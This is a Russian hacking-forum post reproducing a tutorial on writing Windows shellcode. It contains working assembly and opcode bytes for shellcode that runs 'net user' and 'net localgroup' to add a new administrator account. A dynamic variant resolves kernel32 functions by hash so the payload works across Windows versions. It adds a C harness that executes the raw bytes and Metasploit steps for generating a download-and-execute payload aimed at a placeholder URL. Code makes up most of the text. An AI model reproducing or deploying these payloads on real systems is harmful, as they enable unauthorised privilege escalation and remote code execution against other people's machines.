Форум о защите от: хакеров, взлом, раскрутка, хакер, вирусы, взлом программы, взлом паролей, взлом вконтакте, взлом icq, раскрутка сайта, взлом скачать, взлом почты, взлом ru, проги взлома, хакер, программа взлома, трояны, программирование http://ah.flybb.ru/ |
|
Как писать шеллкоды под windows http://ah.flybb.ru/topic3187.html |
Страница 1 из 1 |
Автор: | BECHED [ 27-03, 18:36 ] |
Заголовок сообщения: | Как писать шеллкоды под windows |
В этой статье речь пойдет о написании простого шеллкода под Windows платформу. Статья является начальным этапом цикла статей, которые я, опираясь на материалы и труды зарубежных специалистов в данной области, планирую написать. Эта статья не насыщена всеобъемлющей информацией, однако её цель - предоставить четкое представление о работе шеллкода и его написании. Надеюсь у меня это получится. Шеллкод(shell code) - изначальное название получил благодаря совим первым действиям - запускал оболучку sh(shell) в Unix-системах. На данный момент это название лишь дань традиции, а действия шеллкодов ограничены лишь фантазией их создателя и областью исполняемого кода в уязвимой программе. Говоря простым языком, шеллкод - это набор опкодов(инструкций ассемблера, вида \xDD\xDD\xDD), который помещается в память уязвимой программы, и выполняет свои действия при передаче на него управления. Если смотреть на уровне абстрацкий и ассоциаций, то шеллкод можно представить, как пулю выпущенную из пускового механизма(эксплойта), и влекущую за собой какие-либо действия, в зависимости от того, разрывная ли пуля, парализующая или со смещнным центром тяжести =) Каждый волен думать, как ему угодно и удобней всего, но принцип работы представлять нужно. Так что, начнем знакомство. Для начала немного теории в виде вопрос[Q]-ответ[A]: [Q] Каковы различия между Windows и Linux шеллкодами? [A] Linux, в отличии от Windows, обеспечивает прямой доступ для взаимодействия с ядром системы через интерфейс системных вызовов Int 0x80. Полную таблицу системных вызовов Linux можно найти на http://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html. Windows наоборот, не имеет прямого интерфейса для работы с ядром. Система работает благодаря загрузке в память адресов WinAPI функций необходимых для её работы, которые выполняются из системных библиотек DLL(Dynamic Link Library). Основным различием этих двух ОС является то, что в Windows адреса функций могут менятся от версии к версии, в то время как номера вызовов в Int 0x80 Linux остаются постоянно неизменными. [Q] Как определить адрес необходимой функций в Windows, если они меняються от версии к версии? [A] Есть несколько способов найти адрес функции, которую необходимо использовать. Мы рассмотрим два из них: использование жесткой адрессации фвызываемых функций, т.е. под конкретно заданную верси'ю(и) системы, и поиск адреса функций во время выполнения программы(динамический). Библиотека(DLL), которая гарантированно будет использоваться при создании любого шеллкода - kernel32.dll. В ней содержатся адреса двух важных функций: LoadLibrary() и GetProcAdress(), которые будут подключать другие необходимые для шеллкода функции по названию DLL по адресу в ней. Такой подход имеет большой недостаток: из-за возможных смещений адресов фунций в различных версиях Windows(сервис паки, патчи, язык, и т.д.), шеллкод будет работать только на какой-либо заведомо известной версии, либо версиях с одинаковой адресацией необходимых функций. При динамическом поиске, мы пишем шеллкод, который сам сможет найти адреса используемых им функций в системе, поэтому такой шеллкод будет универсален для разных версий Windows. Создим рабочую среду. В статье речь пойдет о создании шеллкода для Windows, но работать будем из под эмулятора nix-систем Cygwin, т.к. для написания шеллкодов под Linux создано много хороших иснрументов, и одновременно с этим Cygwin предоставит прямой доступ к библиотекам Windows. Скачать установочный файл Cygwin можно тут: http://www.cygwin.com/setup.exe Во время установки будет предложен выбор необходимых пакетов, которые вы можете установить. Для разработки и создания шеллкода отлично подойдут: - Devel -> Binutils (содержит ld или objdump) - Devel -> gcc - Devel -> make - Devel -> nasm - Devel -> gdb - Editors -> hexedit - Net -> netcat - System -> util-linux Из сторонних разработок, облегчающих создание шеллкода мы будем использовать: - [url="http://www.projectshellcode.com/downloads/xxd-shellcode.sh]Xxd-shellcode.sh[/url] Парсит результат xxd-утилиты для создания raw-шеллкода(делает дамп и добавляет к каждому из значений \x). Для работы требуется наличие nix-программы xdd. У меня её не оказалось, поэтому я заменил её perl-скриптом от Peter N Lewis, который слегка модифицировал для подходящего результата. - [url="http://www.projectshellcode.com/downloads/arwin.c]Arwin.c[/url] Находит адрес необходимой функции по её названию и названию библиотеки в которой она находится. - [url="http://www.projectshellcode.com/downloads/findFunctionInDLL.sh]FindFunctionInDLL.sh[/url] Скрипт-надстройка для Arwin.exe, который не требует названия библиотеки в которой находится искомый адрес функции. Достаточно будет задать лишь имя функции. - [url="http://www.projectshellcode.com/downloads/shellcodetest.c]shellcodetest.c[/url] Используется как несущий каркас для шеллкода. Представляет собой сишный код с функцией main(). Необходим для компиляции шеллкода и его проверки на работоспособность. - [url="http://www.metasploit.com/framework/download/]Metasploit Framework >=3.3[/url] Фрэймворк для разработки, тестирования и создания эксплойтов. Начиная с версии 3.3 в MsF интегрирован Cygwin(\Metasploit\Framework3\shell.bat), который я буду использовать при дальнейшем описании. Данный Cygwin не включает в себя компилятор gcc, поэтому я заменил его аналогом под Windows платформу - lcc-win32. - [url="http://www.q-software-solutions.de/pub/lccwin32.exe]lcc-win32[/url] - [url="http://www.ollydbg.de]OllyDbg[/url] >=1.10 Быстрый и удобный отладчик программ, или его аналог [url="http://www.immunityinc.com]Immunity Debugger[/url]. Теперь можно приступить к созданию шеллкода. Для начала поместим все необходимые программы в рабочую папку Cygwin'a. У меня эта папка C:\Program Files\Metasploit\Framework3\home\r00t\Tutor\. Все программы, которые будут задействованы через консоль bash хранятся в этой папке. Это не обязательно, но избавляет от мелких неудобств с постоянным вводом путей. Начнем с самого простого - вызов функции. Для примера возьмем функцию Sleep(), которая остановит выполнение программы на 5 секунд, благодаря чему можно будет определить выполнился ли шеллкод. [Q] Как найти адресс функции в Windows DLL? [A] В ассемблере, для вызова функций используется инструкция "call 0xXXXXXXXX", где XXXXXXXX адрес функции в памяти, и нам требуется его найти. Для поиска мы воспользуемся программой arwin.exe, запустив которую увидим: Адрес рисунка: http://s49.radikal.ru/i125/1103/41/b8e6ac76e304.jpg Таким образом, чтобы использовать arwin для поиска нам необходимо знать название DLL, которая содержит искомую функцию. В данном случае функцию Sleep(). Самыми частоиспользуемыми являются функции из библиотек kernel32.dll, user32.dll и ws2_32.dll, и их использование зависит от конечной цели шеллкода. Так как мы не знаем в какой из библиотек находится функция Sleep(), воспользуемся скриптом-надстройкой Arwin'a findFunctionInDLL.sh: Код: #!/bin/bash if [ $# -ne 1 ] then printf "\n\tUsage: $0 functionname\n\n" exit fi functionname=$1 searchDir="/cygdrive/c/WINDOWS/system32" arwin_exe="`pwd`/arwin.exe" cd $searchDir ls -1d *.dll | grep -v gui | while read dll do printf "\r "; printf "\r$dll"; count=0 count=`$arwin_exe $dll $functionname | grep -c "is located at"` if [ $count -ne 0 ] then printf "\n"; $arwin_exe $dll $functionname | grep "is located at" printf "\n"; fi done printf "\r "; Теперь мы можем, воспользовавшись этим скриптом, найти адресс функции Sleep() и заодно название библиотеки в которой она хранится: Адрес рисунка: http://s52.radikal.ru/i136/1103/34/959d5731b5b5.jpg Обращаю внимае на то, что название функции прописывается с большой буквы. Этот поиск занимает некоторое время, так что если вам заведомо известно название dll, в которой хранится искомая функция, вы можете использовать arwin.exe: Адрес рисунка: http://s009.radikal.ru/i309/1103/ad/7e072a345576.jpg Адрес, который получился у меня может отличаться от вашего в зависимости от версии операционной системы и установленных сервис паков. Я использую Windows XP SP3 RUS, а это значит что шеллкод будет работать на ней, и, возможно, ещё на нескольких видах XP, в которых адреса этой функции совпадают с нашими. Это и есть тот основной недостаток метода с жесткой адресацией. Более совершенный метод будет описан ниже. Теперь приступим к написанию кода использующего функцию Sleep(). Писать, конечно же, будем на ассемблере. Вот этот код: Код: ;sleep.asm [SECTION .text] ; Устанавливает 32-хбитность ; Совет: Если эта запись отсутствует в более сложных шеллкодах, то результат их работы может быть не совсем корректен. BITS 32 global _start _start: ; очищаем EAX регистр xor eax,eax ; помещаем адресс функции Sleep() полученный из arwin.exe в регистр EBX" mov ebx, 0x7c802442 ; устанавливаем значение для паузы в 5000 мсек поместив значение в регистр ax (8 битный EAX регистр) mov ax, 5000 ; помещаем EAX в стек в качестве первого параметра функции Sleep(), т.к. при вызове функции её параметры берутся из стека. push eax ; вызываем функцию Sleep() по адресу находящемуся в EBX call ebx Помещаем этот код в файл sleep.asm. Это и есть наш шеллкод в ассемблерном представлении, который мы должны скомпилировать для дальнейшего получения шестнадцатиричного дампа. Это может быть сделано при помощи компилятора nasm следующим образом: Адрес рисунка: http://i046.radikal.ru/1103/8a/1c7cccdbd5a1.jpg Теперь, когда у нас есть бинарный файл мы можем использовать программу для снятия hex-дампа с помощью скрипта xxd-shellcode.sh, который является надстройкой к nix-программе xxd. Вот его код: Код: #!/bin/bash if [ $# -ne 1 ] then printf "\n\tUsage: $0 filename.bin\n\n" exit fi filename=`echo $1 | sed s/"\.bin$"//` rm -f $filename.shellcode for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g` do echo -n "\\$i" >> $filename.shellcode echo -n "\\$i" done echo Для запуска достаточно написать: ./xxd-shellcode.sh sleep.bin и вы получите готовый шеллкод. У меня под рукой xxd не оказалось, и я воспользовался перловым сценарием от Peter N Lewis, который был мной слегка модифицирован для получения необходимого результата: Код: #!/usr/bin/perl # Written by Peter N Lewis a long time ago # Released in to the Public Domain # modified version. use strict; use warnings; usage() if $ARGV[0] and $ARGV[0] =~ m!^-[^-]!; our $filepos = 0; our $linechars = ''; foreach (@ARGV) { if ($_ eq "-") { binmode STDIN; *FILE = *STDIN; } else { open FILE, '<:raw', $_ or die "no such file $_"; } while (<FILE>) { dump_char($_) foreach split(//); } dump_char( ' ', 1 ) while length($linechars) != 0; close FILE; } sub dump_char { my ( $char, $blank ) = @_; if ( $blank ) { print ' '; } else { printf( "\\x%x", ord($char) ); } } sub usage { print STDERR <<EOM; Usage: hdump.pl [file]... Example `hdump.pl .cshrc' or `ls -l | hdump.pl' EOM exit( 0 ); } Запускаем и смотрим: Адрес рисунка: http://s58.radikal.ru/i161/1103/1e/e030ab068b52.jpg Получили шеллкод: "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3"; и теперь его надо протестировать. Необходимо поместить его в тестовый сишный каркас, и скомпилировать в .exe. Для таких целей у нас есть специальный код shellcodetest.c: Код: /*shellcodetest.c*/ char code[] = "сюда вставляем получившийся шеллкод"; /*должно быть так "char code[] = "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3""*/ int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } Вставив получившийся у нас шеллкод функции Sleep() в shellcodetest.c, компилируем её с помощью gcc: gcc -o shellcodetest shellcodetest.c Я воспользуюсь аналогом gcc lcc-win32 и ввожу следующие команды: Код: cmd\>lcc.exe "C:\Program Files\Metasploit\Framework3\home\r00t\Tutor\shellcodetest.c" cmd\>lcclnk.exe shellcodetest.obj В итоге получаем shellcode.exe. Запускаем и проверяем: По истечении 5-тисекундной паузы появится мэсэджбокс, и нажав ОК программа завершиться аварийно, выдав в консоль "abnormal program termination". Это хороший знак в нашем случае, и шеллкод сработал как ему и пологалось. Что ж, попробуем усложнить задачу, и напишем шеллкод который будет выполнять команды Windows, например, создаст дополнительную учетную запись администратора. Также, мы рассмотрим определение и поиск строковых констант, а именно код командной строки, который надо выполнить, и попытаемся "чисто" завершить процесс, не прибегая к аварийному завершению, как это было ранее. Наша основная цель - найти командную строку и выполнить её код с помощью функции WinExec, тем самым создав новую учетную запись администратора. [Q] Какие функции нам сейчас понадобятся, и где их искать? [A] Для запуска процесса выполняющего наши команды в системах Windows необходимо вызвать функцию WinExec, а для правильного завершения процесса функцию ExitProcess. Обе эти функции находятся в kernel32.dll. Найдем их адреса с помощью arwin.exe, как было сделано выше: Адрес рисунка: http://i047.radikal.ru/1103/67/418c27449477.jpg Определение и поиск строковых констант. Строковая констата, которую мы будем помещать в наш шеллкод, должна выглядеть так: cmd.exe /c net user PSUser Passwd /ADD && net localgroup Администраторы /ADD User где PSUser и Passwd - имя и пароль нового администратора. Не забудьте заранее просмотреть свои группы пользователей и вписать название нужной. Следующий код показывает, как будет определена данная строка в конце кода шеллкода, и её вызов. Код вызова следующий: Код: jmp short GetCommand ;Перейти на код метки GetCommand, под которой будет размещена строковая константа с кодом командной строки. CommandReturn: ;Создает метку на которую нужно вернуться после выполнения GetCommand pop ebx ; выталкивает нашу команду из стека. Завершение. Код выполнения следующий: Код: GetCommand: ;Создаем метку call CommandReturn db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User" ;записывает байткод данной командной строки db 0x00 ;Отрубить символ конца строки Теперь напишем весь код adduser.asm. Не забудьте заменить адреса функций WinExec и ExitProcess на получившиеся у вас значения. Код: ;adduser.asm [Section .text] BITS 32 global _start _start: jmp short GetCommand ;Перейти на код метки GetCommand, под которой будет размещёна строковая константа с кодом командной строки. CommandReturn: ;Определяем метку вызова помещения адреса командной строки в стек pop ebx ;ebx теперь указывает на командную строку xor eax,eax ;очистили EAX push eax ;помещаем в стек значение регистра EAX push ebx ;помещаем в стек значение регистра EBX, т.е. код командной строки mov ebx,0x7c8623ad ;помещаем в EBX адрес вызова функции WinExec call ebx ;вызываем EBX (WinExec) xor eax,eax ;сново очищаем EAX push eax ;помещаем EAX в стек mov ebx, 0x7c81cafa ;помещаем в EBX адрес функции ExitProcess call ebx ;Вызываем ExitProcess; GetCommand: ;Создаем метку call CommandReturn db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User" ;записывает байткод данной командной строки db 0x00 ;Отрубить символ конца строки Сохраняем этот код в adduser.asm и компилируем: nasm -f bin -o adduser.bin adduser.asm Получили бинарник нашего шеллкода adduser.bin, который надо привести в нормальный вид(снять его шестнадцатиричный дамп) при помощи программы xxd( xxd -i adduser.bin) или xxd-shellcode(./xxd-shellcode.sh adduser.bin). Я же воспользуюсь перловым скриптом hc.pl: Адрес рисунка: http://s39.radikal.ru/i083/1103/52/2d5f4744f95e.jpg Теперь остается протестировать данный шеллкод, повторив действия с компиляцией shellcodetest.c описанные ранее. Получив exe-шник запустим его и проверим создалась ли учетная запись: Адрес рисунка: http://s015.radikal.ru/i331/1103/16/e1947083cc76.jpg Как видно, шеллкод сработал. Не забудьте удалить новоиспеченную учетную запись в целях безопасности командой: net user PSUser /delete Замечу, что получение и тестирование шеллкода мы рассматриваем в развернутом виде. Есть и более простые и быстрые способы, но они не столь прозрачны. Динамический шеллкод. Вот мы и подошли ко второму способу написания шеллкода, а именно - динамическому поиску. В отличии от шеллкода с жестко заданными адресами функций, который работатет только под определенной версией Windows, этот шеллкод будет работать под разными версиями путем самостоятельного нахождения адресов по заданым в нём хэшам имен функций необходимых для выполнения кода. Способ универсален, но из-за этого шеллкод набирает в весе, что, как вам может быть известно, не всегда хорошо сказывается на его работоспособности и применимости. Для того чтобы шеллкод мог искать имена функций, нам необходимо вписать в него шестнадцатиричные хэши этих имен, после чего мы вставим их в поисковый код шеллкода. Этот код будет высчитывать и перебирать хэши имен всех функций находящихся в библиотек dll, и сравнивать их значения с искомыми, заданными в шеллкоде. Рассмотрим этот порцесс детальнее на примере, но для начала составим программу генерирующую хэши имен искомых функций. hash-generator.asm Код: ;hash-generator.asm [SECTION .text] BITS 32 global _start _start: jmp start_asm ;Определяем функции ;функция: get_current_address get_current_address: push 0 ;создать область в стеке push eax ;поместить значение eax в стек mov eax, [esp+8] ;копировать адрес возврата в eax mov dword [esp+4], eax ;поместить адрес возврата в область результатов pop eax ;восстановить первоначальное значение eax ret ;вернуться к инструкции вызвавшей функцию ;Конец функции: get_current_address ;Функция: compute_hash compute_hash: push 0 ;создать случайную область в стеке pushad ;sсохранить текущие значения регистров в стеке mov eax, [esp+36] ;копировать адрес возврата в eax mov dword [esp+32], eax ;;поместить адрес возврата в область результатов xor edi, edi ;обнулить edi. В нём буду тхраниться хэш-значения имен функций xor eax, eax ;обнулить eax cld compute_hash_again: ;функция высчитывающая хэш-имя функции lodsb ;поместить текущий символ в eax test al, al ;проверяет ноль в конце строки jz compute_hash_finished ror edi, 0xd ; add edi, eax ;добавить текущий символ к хэшу jmp compute_hash_again compute_hash_finished: ;конец функции ;в edi находяться хэши в обратном порядке mov edx, edi ;поместить хэши в edx reverse_next_hash_section: ;функция переворота хэшей mov al, dl ;поместить первые 8 бит в регистр al shr edx, 8 ;сдвинуть EDX вправо для следующих 8 бит хэша test dl, dl ;проверка на ноль - завершение переворота хэша jz reverse_hash_finished ;если ноль, вызвать функцию завершения переоворота хэшей shl eax, 8 ;сдвинуть eax влево на 8 бит, для следующей секции хэша jmp short reverse_next_hash_section ;вернуться назад на переход к следующему разделу reverse_hash_finished: ;полный хэш находиться сейчас в eax в верном порядке mov dword [esp+36], eax ;поместить возвращаемое значение в возвращаемое место popad ;восстановить исходные значения регистров ret ;вернуть к инструкции вызвавшей функцию ;конец функции: compute_hash ;Определение констант locate_constants: ;метка начала констант call get_current_address ;определить текущее местоположение в памяти pop esi ;указатель на функцию содержащую строки add esi, 9 ;поместить в esi указатель на команду jmp short locate_constants_return ;вернуться к главному коду ;создаем строки с названиями функций db "LoadLibraryA" ;значение хэша = 0x8e4e0eec db 0x00 db "WriteFile" ;значение хэша = 0x1f790ae8 db 0x00 db "CloseHandle" ;значение хэша = 0xfb97fd0f db 0x00 db "Sleep" ;значение хэша = 0xb0492ddb db 0x00 db "ReadFile" ;значение хэша = 0x1665fa10 db 0x00 db "GetStdHandle" ;значение хэша = 0x23d88774 db 0x00 db "CreatePipe" ;значение хэша = 0x808f0c17 db 0x00 db "SetHandleInformation" ;значение хэша = 0x44119e7f db 0x00 db "WinExec" ;rзначение хэша = 0x98FE8A0E db 0x00 db "ExitProcess" ;значение хэша = 0x7ED8E273 db 0x00 ;указатель конца списка db 0x00 ;Конец блока определения констатнт start_asm: int 3 ;прерывание указывающее на старт программы int 3 ;второе прерывание(брекпойнт) здесь только для демонстрации в отладчике jmp locate_constants ;найти местоположение констант locate_constants_return: ;определить куда вернуть после next_hash: ;начало цикла для следуещего хэша push esi ;поместить значение esi в качестве параметра функции compute_hash function call compute_hash ;compute_hash(строка из esi) ;результат находиться в первой строке стека int 3 ;остановить отладчик после генерации каждого хэша, для демонстрации работы программы int 3 ;демонстраця xor eax,eax ;очистить eax check_null: ;помещается указатель на название следующей функции lodsb ;помещаеться текущий символ в eax test al,al ;проверка на ноль jz is_null ;если ноль, значит конец строки jmp short check_null ;вернуться назад и проверить следующий символ is_null: lodsb ;поместить текущий символ в eax dec esi ;переметиться назад на одну позицию test al,al ;проверяем на ноль jnz next_hash ;два нуля означают конец, иначе перейти к следующему хэшу end: int 3 ;демонстрация списка хэшей в стеке. int 3 ;остановить отладчик int 3 ;для вида Сохраните этот исходник в рабочей папке под названием hash-generator.asm, и скомпелируйте его: nasm -f bin -o hash-generator.bin hash-generator.asm Теперь, имея бинарный файл, воспользуемся xxd-shellcode.sh для получения шеллкода, как это было описано выше. Поместим полученный массив значений в shellcodetest.c и скомпилируем. Получили exe файл с нашим шеллкодом, и сейчас посмотрим на весь процесс создания хэшей имен функций под отладчиком. Воспользуемся для этих целей OllyDbg'ом или Immunity Debuger'ом. Запускаем программу и открываем наш shellcodetest.exe. Адрес рисунка: http://i025.radikal.ru/1103/1f/f4819426ecb7.jpg На скриншоте изображена рабочая область программы Immunity Debuger(тоже самое, что и OllyDbg). Как видно, изображено четыре области: -окно процесса выполнения программы. В нем находятся адреса ассемблерных инструкций(первый столбик), шестнадцатиричные представления этих инструкций(второй столбик), сами ассемблерные инструкции(третий столбик), и столбик с комментариями, которые создает отладчик при анализе программы. В этом окне выполняются основные манипуляции влияющие на ход выполнения программы. -окно состояния регистров. Содержит список регистров процессора и значения которые они содержат. Основная цель это окна - показать, как инструкции влияют на регистры. -окно стека - позволяет увидеть, что попадает в него, и что выталкивается. Наблюдая за этим процессом не сложно понять принцип работы стека - "Первым пришел, первым вышел". -окно дампа памяти - позволяет видеть и искать необходимые байты в памяти. -кнопка F9(Run) - запускает автоматическое выполнение кода программы. -кнопка F7(Step into) - пошаговое выполнение кода программы с захождением в функции. -кнопка F8(Ыеуз over) - пошаговое выполнение кода программы без захождения в функции. Мы будем использовать только F9. В нашем коде имеются прерывания int3 - это иммитация точек останова(breakpoint), которые будут останавливать процесс выполнения, для того чтобы была возможность обратить внимание на основные моменты. Адрес рисунка: http://s14.radikal.ru/i187/1103/9d/075e0dce0d24.jpg На рисунке отмечена первая точка останова. После неё начинается основная часть нашего кода. Если вы хотите посмотреть, что происходит в стеке и регистрах на протяжении процесса выполнения, то можете воспользоваться кнопками F7 и F8. Вы могли заметить, что в некоторых местах кода, встречаются два идущих подряд int3. Это созданно для того, чтобы продемонстрировать саму процедуру останова из-за int3, а не из-за возможной ошибки. Перед двумя этими брейкпойнтами находится инструкция "call compute_hash" - вызов функции, которая вычисляет хэш и помещает его в стек. В данном случае хэш первой функции LoadLibraryA равен 8E4E0EEC. Продолжая нажимать F9, можно наблюдать за тем, как хэши по очереди ложаться в стек, до самого конца списка функций. Адрес рисунка: http://s007.radikal.ru/i300/1103/3c/7232b70a78e2.jpg Думаю, принцип нахождения хэшей более-менее понятен. Теперь применим его на предыдущем нашем шеллкоде с жестко заданными адресами, и тем самым сделаем его переносимым на большее количество версий Windows. В шеллкоде создающем учетную запись мы использовали две системные функции: WinExec() и ExitProcess(). Сейчас мы уже имеем хэши этих функций, и знаем как их связать с константами содержащими их реальные названия: Код: ;определение констант locate_hashes: call locate_hashes_return ;WinExec ;хэш = 0x98FE8A0E db 0x98 db 0xFE db 0x8A db 0x0E ;ExitProcess ;хэш = 0x7ED8E273 db 0x7E db 0xD8 db 0xE2 db 0x73 ;конец определения констант Но для начала нам необходимо найти в памяти системную библиотек содержащую эти функции - kernel32.dll. Она всегда загружается вместе с Windows и рамещается в предсказуемой области памяти, поэтому найти её не составит особого труда, после чего мы приступим к поиску адреса нужных нам функции. Это будет происходить путем перебора всех функций входящих в kernel32.dll, вычислением их хэшей, и сравнением этих хэшей с двумя нашими(от функций winexec() и exitprocess()). Код шеллкода adduser-dynamic.asm: Код: ;adduser-dynamic.asm [SECTION .text] BITS 32 global _start _start: jmp start_asm ;Определяем функции ;Функция поиска kernel32.dll в памяти : find_kernel32 ;тут находятся приблизительные адреса памяти для различных систем Windows find_kernel32: push esi xor eax, eax mov eax, [fs:eax+0x30] test eax, eax js find_kernel32_9x find_kernel32_nt: mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov eax, [eax + 0x8] jmp find_kernel32_finished find_kernel32_9x: mov eax, [eax + 0x34] lea eax, [eax + 0x7c] mov eax, [eax + 0x3c] find_kernel32_finished: pop esi ret ;Конец функции поиска: find_kernel32 ;Поиск функций в kernel32: find_function find_function: pushad mov ebp, [esp + 0x24] mov eax, [ebp + 0x3c] mov edx, [ebp + eax + 0x78] add edx, ebp mov ecx, [edx + 0x18] mov ebx, [edx + 0x20] add ebx, ebp find_function_loop: jecxz find_function_finished dec ecx mov esi, [ebx + ecx * 4] add esi, ebp ;esi содержит название текущей функции ; начинаем вычислять её хэш compute_hash: xor edi, edi ; обнуляем edi для хранения результатов вычислений xor eax, eax ;обнуляем eax для хранения символов имен функций cld compute_hash_again: lodsb ;помещаем текущий символ в eax test al, al ; проверяем на наличие ноля - знак конца строки ;как только появился ноль, начинаем вычисление jz compute_hash_finished ror edi, 0xd add edi, eax jmp compute_hash_again compute_hash_finished: ; конец функции вычилсения find_function_compare: ;сравнение полученного при вычислении хэша с хэшами нужным нам функций которые мы указали cmp edi, [esp + 0x28] jnz find_function_loop mov ebx, [edx + 0x24] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edx + 0x1c] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp mov [esp + 0x1c], eax find_function_finished: popad ret ;Конец функции: find_function ;Функция: resolve_symbols_for_dll resolve_symbols_for_dll: ;помещаем текущий хэш(на который указывает esi) в eax lodsd push eax push edx call find_function mov [edi], eax add esp, 0x08 add edi, 0x04 cmp esi, ecx jne resolve_symbols_for_dll resolve_symbols_for_dll_finished: ret ;Конец функции: resolve_symbols_for_dll ;Объявление констатнт locate_hashes: call locate_hashes_return ;WinExec ;хэш = 0x98 FE 8A 0E db 0x98 db 0xFE db 0x8A db 0x0E ;ExitProcess ;хэш = 0x7E D8 E2 73 db 0x7E db 0xD8 db 0xE2 db 0x73 ;Конец объявления констатнт start_asm: ;старт главной программы sub esp, 0x08 ; выделения места в стеке для адресов функций mov ebp, esp call find_kernel32 ;ищем адрес Kernel32.dll mov edx, eax jmp short locate_hashes ;найти адрес хэша locate_hashes_return: ;запомнить адрес возврата pop esi ;получить адреса констант из стека lea edi, [ebp + 0x04] ;здесь сохраняем адрес функции mov ecx, esi add ecx, 0x08 call resolve_symbols_for_dll ;секция кода для добавления пользователя в систему jmp short GetCommand CommandReturn: pop ebx xor eax,eax push eax push ebx call [ebp+4] ;вызов WinExec(path,showcode) xor eax,eax ;обнуляем eax push eax call [ebp+8] ;вызов ExitProcess(0); GetCommand: call CommandReturn db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User" db 0x00 Первая команда(jmp start_asm) вызывает главную подпрограмму(main) шеллкода. Выделяем место в стеке для адресов наших функций. Размер одной функции 4 байта, а т.к. их у нас две, то выделяем 8 байт(sub esp, 0x08). Если ваши будущие шеллкоды будут содержать больше функций, то при подсчете выделяемого для них пространства, помните о том, что исчисление происходит в шестнадцатиричной системе. После этого следует сохранение кадра стека в ebp, для того, чтобы можно было потом к нему возвратиться, например так: Код: call [ebp+4] ;WinExec
call [ebp+8] ;ExitProcess В нашем шеллкоде присутствует функция find_kernel32, которая помещает адрес kernel32.dll в eax. Мы берем хэши наших функций и вызываем функцию resolve_symbols_for_dll. Эта функция, в свою очередь, использует функцию find_function, которая используя цикл, перебирает названия функций из kernel32, вычисляет хэш и сравнивает с нашими заведомо известными. Попробуем скомпилировать и проверить на работоспособность. Для этого повторяем шаги описанные выше: -компилируем .asm код: nasm -f bin -o adduser-dynamic.bin adduser-dynamic.asm -получаем дамп: ./xxd-shellcode.sh adduser-dynamic.bin -помещаем его в shellcodetest.c и компилируем: lcc.exe shellcodetest.c lcclnk.exe shellcode.obj -запускаем получившийся .exe и проверяем результат: net user Если появился пользователь User - все сработало как надо. Удаляем пользователя из системы: net user User /delete Вот и все основые принципы работы и написания шеллкода под Windows платформу. Надеюсь, что описал доступно. Однако, чтобы каждый раз не приходилось писать шеллкод самому, существует замечательный фреймворк для разработки и тестирования эксплойтов - Metasploit Framework. Для работы с MsF существует несколько видов пользовательских интерфейсов. Самые распространенные: веб(msfweb) и консоль(msfconsole). В веб инерфейсе, запускающемся по адресу http://127.0.0.1:55555, всё относительно просто, и шеллкод создается в пару-тройку кликов мышкой. Для этого следует пройти в меню "Payloads", и выбрать в появившемся окне интересующий шеллкод. После выбора будет предоставлено окно с настройкой функций шеллкода, а также выбор энкодера и формата вывода шеллкода. Нажав "Generate", фреймворк выдаст нужный шеллкод: Адрес рисунка: http://i048.radikal.ru/1103/ea/56bad52adaad.jpg Что насчет консольного варианта, то тут надо поработать руками, и для выбора шеллкода, ввести следующие команды: show payloads - выведет список доступных шеллкодов Если хотим получить информацию о шеллкоде, например об "windows/download_exec", пишем: info payload/windows/download_exec Адрес рисунка: http://s45.radikal.ru/i109/1103/7c/843529c77a82.jpg Если хотим использовать: use payload/windows/download_exec - и сразу же можете смотреть его параметры введя "set ", и нажать два раза Tab. Буквами в верхнем регистре указываются обязательные параметры. Адрес рисунка: http://s011.radikal.ru/i316/1103/ba/f11801b3b566.jpg Установив URL в значение http://site.com/downloadme.exe, генерируем код командой "Generate": Адрес рисунка: http://s11.radikal.ru/i183/1103/60/495350daa2fa.jpg На этом введение в написание шеллкодов закончено. Спасибо за уделенное внимание. По материалам [url="http://projectshellcode.com/]projectshellcode.com[/url] © p(eaZ. Vulnes.com 02.2011 |
Страница 1 из 1 | Часовой пояс: UTC + 3 часа |
Powered by phpBB® Forum Software © phpBB Group http://www.phpbb.com/ |